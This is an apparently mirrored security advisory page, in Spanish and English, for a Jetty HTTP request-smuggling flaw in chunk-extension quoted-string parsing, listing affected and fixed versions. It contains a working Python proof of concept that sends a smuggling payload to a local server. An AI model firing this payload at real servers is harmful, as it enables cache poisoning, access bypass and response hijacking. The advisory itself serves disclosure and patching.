Alta

Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

  • Publicada: 14.04.2026
  • Actualizado: 11.10.2026 13:20

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

python
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser Request 1 Request 2
jetty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED!)
RFC compliant POST / body="Y" (none - smuggled request hidden in extension)

Impact

  • Request Smuggling: Attacker injects arbitrary HTTP requests
  • Cache Poisoning: Smuggled responses poison shared caches
  • Access Control Bypass: Smuggled requests bypass frontend security
  • Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

  1. Start the minimal POC with docker
  2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

References

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Java / Kotlin (Maven) org.eclipse.jetty:jetty-http >= 12.1.0, < 12.1.7, >= 12.0.0, < 12.0.33, >= 11.0.0, < 11.0.29, >= 10.0.0, < 10.0.28, >= 9.4.0, < 9.4.60 12.1.7, 12.0.33, 11.0.29, 10.0.28, 9.4.60

Referencias

Puntuación CVSS 7.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-444
Plataforma
Java / Kotlin (Maven)
Paquete
org.eclipse.jetty:jetty-http
Publicada
14.04.2026
Actualizado
11.10.2026 13:20

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-355h-qmc2-wpwf - CC BY 4.0

Historial de vulnerabilidades: org.eclipse.jetty:jetty-http

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
5
Primera → última
07.2022 04.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 1
  • Media 2
  • Baja 2

Divulgaciones por año

  1. 2022: 1
  2. 2023: 1
  3. 2024: 1
  4. 2025: 0
  5. 2026: 2
  1. Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing esta entrada
    Alta · 7.4 CVE-2026-2332 >= 12.1.0, < 12.1.7, >= 12.0.0, < 12.0.33, >= 11.0.0, < 11.0.29, >= 10.0.0, < 10.0.28, >= 9.4.0, < 9.4.60 12.1.7, 12.0.33, 11.0.29, 10.0.28, 9.4.60
  2. Baja · 3.7 CVE-2025-11143 >= 9.4.0, <= 9.4.58, >= 10.0.0, <= 10.0.26, >= 11.0.0, <= 11.0.26, >= 12.0.0, < 12.0.31, >= 12.1.0, < 12.1.5 12.0.31, 12.1.5
  3. Media · 3.7 CVE-2024-6763 >= 7.0.0, < 12.0.12 12.0.12
  4. Media · 5.3 CVE-2023-40167 >= 9.0.0, < 9.4.52, >= 10.0.0, < 10.0.16, >= 11.0.0, < 11.0.16, >= 12.0.0, < 12.0.1 9.4.52, 10.0.16, 11.0.16, 12.0.1
  5. Baja · 2.7 CVE-2022-2047 < 9.4.47, >= 10.0.0, < 10.0.10, >= 11.0.0, < 11.0.10 9.4.47, 10.0.10, 11.0.10

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.